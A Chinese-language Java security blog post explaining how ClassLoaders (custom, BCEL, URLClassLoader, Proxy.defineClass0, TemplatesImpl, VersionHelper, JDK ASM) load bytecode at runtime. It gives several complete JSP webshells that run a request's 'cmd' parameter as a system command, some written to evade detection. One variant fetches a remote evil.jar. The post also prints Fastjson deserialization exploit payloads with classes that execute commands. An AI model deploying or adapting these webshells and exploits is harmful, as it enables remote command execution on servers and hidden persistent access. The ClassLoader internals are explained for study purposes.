浅谈加载字节码相关的Java安全问题

2022-06-30 15:42:26 浏览数 (1)

0x00 简介

本文较,主要是炒冷饭,巩固和复习一些基础的Java安全知识

近期在学习JSP免杀相关的知识,遇到了很多加载字节码的情况,所以写一篇文章总结下

加载字节码是Java安全中重要的部分,实现这个功能离不开ClassLoader

本文前半部分将从各个角度对各个ClassLoader的利用方式做解析,并深入分析其原理

后半部分讨论一些Java安全方面的技巧

笔者目前本科在读,才疏学浅,错误和不足之处还请大佬指出,十分感谢!

0x01 自定义类加载器

这里采用自定义类加载器的JSP Webshell来讨论

首先编写一个用于加载的恶意类

代码语言:javascript复制
public class ByteCodeEvil {
    String res;
    public ByteCodeEvil(String cmd) throws IOException {
        // 简单回显 Webshell
        StringBuilder stringBuilder = new StringBuilder();
        BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));
        String line;
        while((line = bufferedReader.readLine()) != null) {
            stringBuilder.append(line).append("n");
        }
        res = stringBuilder.toString();
    }

    @Override
    public String toString() {
        // 回显
        return res;
    }
}

将上文的类使用javac编译为字节码。通常在代码中加载字节码的过程会进行Base64编码。于是具体的代码中使用Base64解码后,转为类对象,手动触发该类的构造方法即可实现Webshell的功能

代码语言:javascript复制
String cmd = request.getParameter("cmd");
ClassLoader loader = new ClassLoader() {...};
Class<?> clazz = loader.loadClass("ByteCodeEvil");
Constructor<?> constructor = clazz.getConstructor(String.class);
String result = constructor.newInstance(cmd).toString();

实际上自定义ClassLoader这个过程并不简单

注意到ClassLoader是无法直接在运行时加载字节码的,至少需要重写findClass方法和loadClass方法

其中loadClass方法会先查找该类是否已被加载,调用findLoadedClass方法

如果没有找到,则会调用loadClass方法;如果还是没有找到,会调用findClass方法。如果没有重写该方法的情况,默认是抛出异常。如果重写了该方法,则会自定义加载

重写loadClass方法的代码如下,当我们加载的是指定名称的类时,就调用重写后的findClass方法

代码语言:javascript复制
@Override
public Class<?> loadClass(String name) throws ClassNotFoundException {
    if (name.contains("ByteCodeEvil")) {
        return findClass(name);
    }
    return super.loadClass(name);
}

还有一个重点方法defineClass,它可以从byte[]还原出一个Class对象。在findClass中,如果调用defineClass加载指定的恶意字节码,就会达到运行时加载字节码的效果

因此尝试写出如下的findClass代码

代码语言:javascript复制
@Override
protected Class<?> findClass(String name) throws ClassNotFoundException {
    try {
        byte[] bytes = Base64.getDecoder().decode("BASE64_ENCODE_BYTECODE");
        return this.defineClass(name, bytes, 0, bytes.length);
    } catch (Exception e) {
        e.printStackTrace();
    }
    return super.findClass(name);
}

其实上方的代码是正常执行的,但并不完善,应该调用defineClass的另一个重载

在Java的类加载中,有著名的双亲委派机制

首先会检查该类是否已经被加载,若没有被加载,则会委托父加载器进行装载,只有当父加载器无法加载时,才会调用自身的findClass()方法进行加载。这样避免了子加载器加载一些试图冒名顶替可信任类的不可靠类,也不会让子加载器去实现父加载器实现的加载工作

例如用户使用自定义加载器加载java.lang.Object类,实际上委派给BootstrapClassLoader加载器。如果用户使用自定义类加载器加载java.lang.Exp类,父类无法加载只能交给自定义类加载器。由于同在java.lang包下,所以Exp类可以访问其他类的protected属性,可能涉及到一些敏感信息

因此必须将这个类与可信任类的访问域隔离,JVM中为了避免这样的危险操作,只允许由同一个类加载器加载的同一包内的类之间互相访问,这样一个由同一个类加载器加载的并属于同一个包的多个类集合称为运行时包

类加载体系为不同类加载器加载的类提供不同的命名空间,同一命名空间内的类可以互相访问,不同命名空间的类不知道彼此的存在

除了命名空间的访问隔离和双亲委派的受信类保护,类加载器体系还用保护域来定义代码在运行时可以获得的权限

这里需要我们关注的点是CodeSource,它是解释如下

每个class文件均和一个代码来源相关联,这个代码来源(java.security.CodeSource)通过URL类成员location指向代码库和对该class文件进行签名的零个或多个证书对象的数组。class文件在进行代码认证的过程中可能经过多个证书签名,也可能没有进行签名

访问控制策略Policy对权限的授予是以CodeSource为基础进行的,每个CodeSource拥有若干个Permission,这些Permission对象会被具体地以其子类描述,并且和CodeSource相关联的Permission对象将被封装在java.security.PermissionCollection类的一个子类实例中,以描述该CodeSource所获取的权限

类加载器的实现可以通过将代码来源(CodeSource)即代码库和该class文件的所有签名者信息,传递给当前的Policy对象的getPermissions()方法,来查询该代码来源所拥有的权限集合PermissionCollection(在策略初始化时生成),并以此构造一个保护域传递给defineClass()以此指定类的保护域

以上复杂的理论表现在代码中如下(其中有一个细节在后续分析)

代码语言:javascript复制
@Override
protected Class<?> findClass(String name) throws ClassNotFoundException {
    try {
        byte[] bytes = Base64.getDecoder().decode("BASE64_ENCODE_BYTECODE");
        PermissionCollection pc = new Permissions();
        pc.add(new AllPermission());
        ProtectionDomain protectionDomain = new ProtectionDomain(new CodeSource(null, (Certificate[]) null), pc, this, null);
        return this.defineClass(name, bytes, 0, bytes.length, protectionDomain);
    } catch (Exception e) {
        e.printStackTrace();
    }
    return super.findClass(name);
}

实际上在JDK的ClassLoader源码中,有这样的处理

代码语言:javascript复制
protected final Class<?> defineClass(String name, byte[] b, int off, int len,
                                     ProtectionDomain protectionDomain)
    throws ClassFormatError
{
    // 跟入
    protectionDomain = preDefineClass(name, protectionDomain);
    ...
}

当传入的ProtectionDomain为空时,会在预处理中定义为默认

代码语言:javascript复制
private ProtectionDomain preDefineClass(String name,
                                        ProtectionDomain pd)
{
    ...
    if (pd == null) {
        pd = defaultDomain;
    }
    ...
    return pd;
}

回到上文提到的细节,发现这里默认的情况和上文缺少了一个PermissionCollection

代码语言:javascript复制
// JSP Webshell中编写的代码
PermissionCollection pc = new Permissions();
pc.add(new AllPermission());
ProtectionDomain protectionDomain = new ProtectionDomain(new CodeSource(null, (Certificate[]) null), pc, this, null);
// JDK的默认ProtectionDomain
private final ProtectionDomain defaultDomain =
    new ProtectionDomain(new CodeSource(null, (Certificate[]) null),
                         null, this, null);

为什么在JSP Webshell中指定了AllPermission

定义:The AllPermission is a permission that implies all other permissions

在JDK源码文档中有这样一句话:application or applet is completely trusted

这意味着改代码拥有全部的权限,也就是最高权限

拥有SocketPermissionFilePermission这种敏感操作的权限

也就完全发挥了JSP Webshell的功能,所以在JSP中指定ProtectionDomain是必要且有意义的

最终的自定义类加载器JSP Webshell如下

代码语言:javascript复制
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.util.Base64" %>
<%@ page import="java.security.cert.Certificate" %>
<%@ page import="java.security.*" %>
<%
    ClassLoader loader = new ClassLoader() {
        @Override
        public Class<?> loadClass(String name) throws ClassNotFoundException {
            if(name.contains("ByteCodeEvil")){
                return findClass(name);
            }
            return super.loadClass(name);
        }

        @Override
        protected Class<?> findClass(String name) throws ClassNotFoundException {
            try {
                byte[] bytes = Base64.getDecoder().decode("");
                PermissionCollection pc = new Permissions();
                pc.add(new AllPermission());
                ProtectionDomain protectionDomain = new ProtectionDomain(new CodeSource(null, (Certificate[]) null), pc, this, null);
                return this.defineClass(name, bytes, 0, bytes.length, protectionDomain);
            } catch (Exception e) {
                e.printStackTrace();
            }
            return super.findClass(name);
        }
    };

    String cmd = request.getParameter("cmd");
    Class<?> clazz = loader.loadClass("ByteCodeEvil");
    Constructor<?> constructor = clazz.getConstructor(String.class);
    String result = constructor.newInstance(cmd).toString();
    response.getWriter().print(result);
%>

0x02 BCEL ClassLoader

在较高版本的JDK8中BCELClassLoader被删除所以需要在较低版本的JDK中测试

参考P神的文章:https://www.leavesongs.com/PENETRATION/where-is-bcel-classloader.html

该类加载的作用是给出一段特殊字符串,直接加载为类对象

简单查看loadClass方法的代码,可以看到加载了以"

代码语言:javascript复制
protected Class loadClass(String class_name, boolean resolve)
    throws ClassNotFoundException
{
    Class cl = null;
    ...
    if(class_name.indexOf("$$BCEL$$") >= 0)
        clazz = createClass(class_name);
    ...
    if (clazz != null) {
        byte[] bytes  = clazz.getBytes();
        cl = defineClass(class_name, bytes, 0, bytes.length);
    }
    ...
    return cl;
}

BCEL比较知名的是Fastjson的BasicDataSource利用

查看源码可以发现包含driveClassLoaderdriverClassNameget/set方法,具备了Fastjson的触发条件

给出一个较高版本Fastjson的POC,果然和推测差不多,主要是基于上面上个属性

代码语言:javascript复制
{
    "name":
    {
        "@type" : "java.lang.Class",
        "val"   : "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"
    },
    "x" : {
        "name": {
            "@type" : "java.lang.Class",
            "val"   : "com.sun.org.apache.bcel.internal.util.ClassLoader"
        },
        "y": {
            "@type":"com.alibaba.fastjson.JSONObject",
            "c": {
                "@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
                "driverClassLoader": {
                    "@type" : "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                "driverClassName":"$$BCEL$$$......",
                     "$ref": "$.x.y.c.connection"
            }
        }
    }
}

两个name对象被缓存后缓存,可以让BasicDataSourceBCEL ClassLoader绕过黑名单

最下面的$ref是高版本Fastjson的一个特性,可以链式调用,最终调用到BasicDataSource.connection

其实BasicDataSource类并没有connection属性,但这样的调用会触发get/set Connnection方法

跟入BasicDataSourcegetConnnection

代码语言:javascript复制
@Override
public Connection getConnection() throws SQLException {
    ...
    return createDataSource().getConnection();
}

// 继续跟入
protected DataSource createDataSource() {
    ...
    final ConnectionFactory driverConnectionFactory = createConnectionFactory();
    ...
}

// 继续跟入
protected ConnectionFactory createConnectionFactory() throws SQLException {
    ...
    if (driverClassLoader == null) {
        driverFromCCL = Class.forName(driverClassName);
    } else {
        // 进入这里
        driverFromCCL = Class.forName(driverClassName, true, driverClassLoader);
    }
    // 这里对象被实例化造成RCE
    driverToUse = (Driver) driverFromCCL.getConstructor().newInstance();
}

注意到这里的触发点是Class.forName并不是loadClass等方法

其实Class.forName第二个参数initial为true时,类加载后将会直接执行static{}块中的代码

回到该Fastjson POC本身driveClassName的BCEL字节码对应的Java代码正好符合static条件

代码语言:javascript复制
public class Exp{
    static {
        try{
            Runtime.getRuntime().exec("calc.exe");
        } catch (Exception e) {
        }
    }
}

类似地,我们可以把BCEL ClassLoader的概念引入JSP Webshell中

代码语言:javascript复制
<%@ page language="java" pageEncoding="UTF-8" %>
<%! String PASSWORD = "4ra1n"; %>
<%
    String cmd = request.getParameter("cmd");
    String pwd = request.getParameter("pwd");
    if (!pwd.equals(PASSWORD)) {
        return;
    }
    // 0x01中ByteCodeEvil生成的字节码
    String bcelCode = "$$BCEL$$......";
    // new ClassLoader().loadClass(bcelCode).newInstance(cmd);
    Class<?> c = Class.forName("com.sun.org.apache.bcel.internal.util.ClassLoader");
    ClassLoader loader = (ClassLoader) c.newInstance();
    Class<?> clazz = loader.loadClass(bcelCode);
    java.lang.reflect.Constructor<?> constructor = clazz.getConstructor(String.class);
    Object obj = constructor.newInstance(cmd);
    // 回显
    response.getWriter().print("<pre>");
    response.getWriter().print(obj.toString());
    response.getWriter().print("</pre>");
%>

0x03 URLClassLoader

另一个ClassLoader,区别在于可以加载任意路径下的类

还是选择0x01中的ByteCodeEvil

代码语言:javascript复制
URL url = new URL("file:/your_path/classes/");
URLClassLoader loader = new URLClassLoader(new URL[]{url});
Class<?> clazz = loader.loadClass("ByteCodeEvil");
Constructor<?> constructor = clazz.getConstructor(String.class);
constructor.newInstance("calc.exe");

也可以利用URLClassLoader做RCE的回显

代码语言:javascript复制
public ByteCodeEvil(String cmd) throws Exception {
    StringBuilder stringBuilder = new StringBuilder();
    BufferedReader bufferedReader = new BufferedReader(
        new InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));
    String line;
    while ((line = bufferedReader.readLine()) != null) {
        stringBuilder.append(line).append("n");
    }
    this.res = stringBuilder.toString();
    // 抛出异常
    throw new Exception(this.res);
}

上文代码编译的字节码被URLClassLoader加载后,可以在报错信息中看到RCE的回显结果

同样可以用于JSP Webshell

代码语言:javascript复制
<%
    response.getOutputStream().write(new URLClassLoader(new URL[]{new URL("http://path/evil.jar")}).loadClass("EvilClass").getConstructor(String.class).newInstance(String.valueOf(request.getParameter("cmd"))).toString().getBytes());
%>

0x04 defineClass0

主要参考了su18师傅给出的JSP Webshell,使用到的Proxy类是Java动态代理的底层实现类

基于Proxynative方法defineClass0做一些事情,也许可以绕过一些防御

代码语言:javascript复制
private static native Class<?> defineClass0(ClassLoader loader, String name, byte[] b, int off, int len);

例如下面的代码调用native方法defineClass0加载字节码

代码语言:javascript复制
public static Class<?> defineByProxy(String className, byte[] classBytes) throws Exception {
    // 获取系统的类加载器
    ClassLoader classLoader = ClassLoader.getSystemClassLoader();
    // 反射java.lang.reflect.Proxy类获取其中的defineClass0方法
    Method method = Proxy.class.getDeclaredMethod("defineClass0",ClassLoader.class, String.class, byte[].class, int.class, int.class);
    // 修改方法的访问权限
    method.setAccessible(true);
    // 反射调用java.lang.reflect.Proxy.defineClass0()方法
    // 动态向JVM注册对象
    // 返回一个 Class 对象
    return (Class<?>) method.invoke(null, classLoader, className, classBytes, 0, classBytes.length);
}

JSP Webshell

代码语言:javascript复制
<%
    byte[] bytes = Base64.getDecoder().decode("BASE64_BYTECODE");
    Class<?> testClass = defineByProxy("ByteCodeEvil", bytes);
    Object result = testClass.getConstructor(String.class).newInstance(request.getParameter("cmd"));
    out.println(result.toString());
%>

0x05 TemplatesImpl

该类是Java安全知名的类,例如著名的CC链、Fastjson、7U21

Fastjson利用

给出恶意类

代码语言:javascript复制
public class TEMPOC extends AbstractTranslet {
    public TEMPOC() throws IOException {
        Runtime.getRuntime().exec("calc.exe");
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
    }
    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {

    }
    public static void main(String[] args) throws Exception {
        TEMPOC t = new TEMPOC();
    }
}

Fastjson的POC

代码语言:javascript复制
{
    "@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
    "_bytecodes":["BASE64_BYTECODE"],
    "_name":"a.b",
    "_tfactory":{},
    "_outputProperties":{ },
    "_version":"1.0",
    "allowedProtocols":"all"
}

注意其中的Payload来自于恶意类,该类应该继承自com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet

该链需要开启Feature.SupportNonPublicField参数再反射设置属性,查看官方说明,如果某属性不存在set方法,但还想设置值时,需要开启该参数,这里的情况正好符合,而实际项目中很少出现这种情况,导致该链较鸡肋,没有实际的意义(其实TemplateImpl类中有set方法,比如setTransletBytecodes,但是名称和Bytecodes不一致)

com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseField设置属性时会有判断

代码语言:javascript复制
final int mask = Feature.SupportNonPublicField.mask;
if (fieldDeserializer == null
    && (lexer.isEnabled(mask)
        || (this.beanInfo.parserFeatures & mask) != 0)) {
    ......

反序列化时,fastjson中会把”_”开头的属性替换为空。并在outputProperties设置值时调用getOutputProperties

代码语言:javascript复制
public synchronized Properties getOutputProperties() {
    try {
        return newTransformer().getOutputProperties();
    }
    catch (TransformerConfigurationException e) {
        return null;
    }
}

调用到com.sun.org.apache.xalan.internal.xsltc.trax.newTransformer方法

代码语言:javascript复制
transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory);

跟入getTransletInstance,通过defineTransletClasses得到Class然后newInstance实例化

代码语言:javascript复制
// name不能为空所以在payload中设置a.b
if (_name == null) return null;
// 关键
if (_class == null) defineTransletClasses();

// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();

再跟入defineTransletClasses,对父类进行了验证,这样解释了为什么Payload恶意类要继承自该类。如果验证没有问题,将在上方的newInstance方法中实例化该类,造成RCE

代码语言:javascript复制
private static String ABSTRACT_TRANSLET
        = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
...
TransletClassLoader loader = (TransletClassLoader)
    AccessController.doPrivileged(new PrivilegedAction() {
        public Object run() {
            return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
        }
    });
...
_class[i] = loader.defineClass(_bytecodes[i]);
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
    _transletIndex = i;
}

注意到其中的ClassLoaderTransletClassLoader,简单的继承了ClassLoader

代码语言:javascript复制
static final class TransletClassLoader extends ClassLoader

AccessController.doPrivileged方法主要做权限操作,目的是给ClassLoader设置指定的权限

跟入defineClass发现没有传入name,直接根据字节码获得类

代码语言:javascript复制
Class defineClass(final byte[] b) {
    return defineClass(null, b, 0, b.length);
}

为什么_bytescode要对字节码进行base64编码?反序列化的过程中会调用很多类,在经过该类com.alibaba.fastjson.serializer.ObjectArrayCodec.deserialze的时候,会对字段进行一次base64的解码

代码语言:javascript复制
......        
if (token == JSONToken.LITERAL_STRING || token == JSONToken.HEX) {
    byte[] bytes = lexer.bytesValue();
    ......

跟入lexer.bytesValue()方法,看到decodeBase64

代码语言:javascript复制
public byte[] bytesValue() {
    ......
    // base64解码
    return IOUtils.decodeBase64(buf, np   1, sp);
}

基于TemplatesImpl的JSP Webshell

这里不给出代码了,大概分析下思路,参考三梦师傅的代码,有两种实现:

第一种是在JSP中构造一个TemplatesImpl类,按照Fastjson的POC给每个属性设置值,最后调用getOutputProperties方法。获取输入和回显可以基于文件,新建两个文件,写入请求参数在恶意类中读取执行并返回到输出文件

第二种是直接基于序列化数据,调用readObject反序列化触发

0x06 VersionHelper

给出基于VersionHelper的一个JSP Webshell,发现方法调用和ClassLoader类似

代码语言:javascript复制
<%
    String cmd = request.getParameter("cmd");
    String tmp = System.getProperty("java.io.tmpdir");
    String jarPath = tmp   File.separator   "Evil.class";
    Files.write(Paths.get(jarPath), Base64.getDecoder().decode("BASE64_BYTECODE"));

    VersionHelper helper = VersionHelper.getVersionHelper();
    Class<?> clazz = helper.loadClass("Evil", "file:"   tmp   File.separator);
    Constructor<?> constructor = clazz.getConstructor(String.class);
    Object obj = constructor.newInstance(cmd);
    response.getWriter().print(obj);
%>

static块中实例化

代码语言:javascript复制
public static VersionHelper getVersionHelper() {
    return helper;
}
static {
    helper = new VersionHelper12();
}

跟入VersionHelper12类的loadClass方法,可以看到底层是一个URLClassLoader,这也解释了为什么要保存成一个文件

代码语言:javascript复制
public Class<?> loadClass(String className, String codebase)
    throws ClassNotFoundException, MalformedURLException {
    ClassLoader parent = getContextClassLoader();
    ClassLoader cl =
        URLClassLoader.newInstance(getUrlArray(codebase), parent);
    return loadClass(className, cl);
}

0x07 JDK-ASM

ASM框架可以直接操作字节码,而JDK其实是自带ASM的,并不需要引入第三方依赖

最终目标是加载字节码触发漏洞,并不是一定要使用JAVAC来编译生成,也可以直接写入

例如0x02的BCEL的例子,需要编译得到一长串String bcelCode = "$$BCEL$$......";

而笔者尝试直接用ASM构造出ByteCodeEvil字节码并加载,由于该库是JDK自带,所以理论上有一定的Bypass可能

给出ASM构造出的BCEL JSP Webshell

代码语言:javascript复制
<%@ page language="java" pageEncoding="UTF-8" %>
<%@ page import="static jdk.internal.org.objectweb.asm.Opcodes.*" %>
<%
    // 注意导入开头为jdk.internal
    // 注意flag为COMPUTE_FRAMES否则报错
    jdk.internal.org.objectweb.asm.ClassWriter classWriter = new jdk.internal.org.objectweb.asm.ClassWriter(
            jdk.internal.org.objectweb.asm.ClassWriter.COMPUTE_FRAMES);
    // 类属性visitor
    jdk.internal.org.objectweb.asm.FieldVisitor fieldVisitor;
    // 类方法visitor
    jdk.internal.org.objectweb.asm.MethodVisitor methodVisitor;
    // 类名可以自行修改
    classWriter.visit(V1_8, ACC_PUBLIC | ACC_SUPER, "sample/ByteCodeEvil", null, "java/lang/Object", null);
    fieldVisitor = classWriter.visitField(0, "res", "Ljava/lang/String;", null, null);
    fieldVisitor.visitEnd();
    methodVisitor = classWriter.visitMethod(ACC_PUBLIC, "<init>", "(Ljava/lang/String;)V", null, new String[]{"java/io/IOException"});
    methodVisitor.visitCode();
    methodVisitor.visitVarInsn(ALOAD, 0);
    methodVisitor.visitMethodInsn(INVOKESPECIAL, "java/lang/Object", "<init>", "()V", false);
    methodVisitor.visitTypeInsn(NEW, "java/lang/StringBuilder");
    methodVisitor.visitInsn(DUP);
    methodVisitor.visitMethodInsn(INVOKESPECIAL, "java/lang/StringBuilder", "<init>", "()V", false);
    methodVisitor.visitVarInsn(ASTORE, 2);
    methodVisitor.visitTypeInsn(NEW, "java/io/BufferedReader");
    methodVisitor.visitInsn(DUP);
    methodVisitor.visitTypeInsn(NEW, "java/io/InputStreamReader");
    methodVisitor.visitInsn(DUP);
    // 这里可以针对字符串做拆分编码等操作来Bypass
    methodVisitor.visitMethodInsn(INVOKESTATIC, "java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;", false);
    methodVisitor.visitVarInsn(ALOAD, 1);
    methodVisitor.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Runtime", "exec", "(Ljava/lang/String;)Ljava/lang/Process;", false);
    methodVisitor.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Process", "getInputStream", "()Ljava/io/InputStream;", false);
    methodVisitor.visitMethodInsn(INVOKESPECIAL, "java/io/InputStreamReader", "<init>", "(Ljava/io/InputStream;)V", false);
    methodVisitor.visitMethodInsn(INVOKESPECIAL, "java/io/BufferedReader", "<init>", "(Ljava/io/Reader;)V", false);
    methodVisitor.visitVarInsn(ASTORE, 3);
    jdk.internal.org.objectweb.asm.Label label0 = new jdk.internal.org.objectweb.asm.Label();
    methodVisitor.visitLabel(label0);
    methodVisitor.visitVarInsn(ALOAD, 3);
    methodVisitor.visitMethodInsn(INVOKEVIRTUAL, "java/io/BufferedReader", "readLine", "()Ljava/lang/String;", false);
    methodVisitor.visitInsn(DUP);
    methodVisitor.visitVarInsn(ASTORE, 4);
    jdk.internal.org.objectweb.asm.Label label1 = new jdk.internal.org.objectweb.asm.Label();
    methodVisitor.visitJumpInsn(IFNULL, label1);
    methodVisitor.visitVarInsn(ALOAD, 2);
    methodVisitor.visitVarInsn(ALOAD, 4);
    methodVisitor.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "append", "(Ljava/lang/String;)Ljava/lang/StringBuilder;", false);
    methodVisitor.visitLdcInsn("n");
    methodVisitor.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "append", "(Ljava/lang/String;)Ljava/lang/StringBuilder;", false);
    methodVisitor.visitInsn(POP);
    methodVisitor.visitJumpInsn(GOTO, label0);
    methodVisitor.visitLabel(label1);
    methodVisitor.visitVarInsn(ALOAD, 0);
    methodVisitor.visitVarInsn(ALOAD, 2);
    methodVisitor.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "toString", "()Ljava/lang/String;", false);
    methodVisitor.visitFieldInsn(PUTFIELD, "sample/ByteCodeEvil", "res", "Ljava/lang/String;");
    methodVisitor.visitInsn(RETURN);
    methodVisitor.visitMaxs(6, 5);
    methodVisitor.visitEnd();
    methodVisitor = classWriter.visitMethod(ACC_PUBLIC, "toString", "()Ljava/lang/String;", null, null);
    methodVisitor.visitCode();
    methodVisitor.visitVarInsn(ALOAD, 0);
    methodVisitor.visitFieldInsn(GETFIELD, "sample/ByteCodeEvil", "res", "Ljava/lang/String;");
    methodVisitor.visitInsn(ARETURN);
    methodVisitor.visitMaxs(1, 1);
    methodVisitor.visitEnd();
    classWriter.visitEnd();
    byte[] code = classWriter.toByteArray();
    String cmd = request.getParameter("cmd");
    // 对bytes类型字节码进行BCEL转换
    String byteCode = com.sun.org.apache.bcel.internal.classfile.Utility.encode(code, true);
    byteCode = "$$BCEL$$"   byteCode;
    // 使用BCELClassLoader加载构造的字节码
    Class<?> c = Class.forName("com.sun.org.apache.bcel.internal.util.ClassLoader");
    ClassLoader loader = (ClassLoader) c.newInstance();
    Class<?> clazz = loader.loadClass(byteCode);
    java.lang.reflect.Constructor<?> constructor = clazz.getConstructor(String.class);
    Object obj = constructor.newInstance(cmd);
    response.getWriter().print("<pre>");
    response.getWriter().print(obj.toString());
    response.getWriter().print("</pre>");
%>

这种动态生成字节码的方式有很多用途,比如下一篇文章将会使用该功能实现Tomact的Filter型内存马的免杀,构造指定Filter名的字节码文件写入对应的classpath,然后Class.forName加载字节码,迷惑防御方

https://github.com/EmYiQing/MemShell/

具体的原理分析将在下一篇文章中

0x08 参考

https://xz.aliyun.com/t/7798

https://github.com/threedr3am/JSP-Webshells

0 人点赞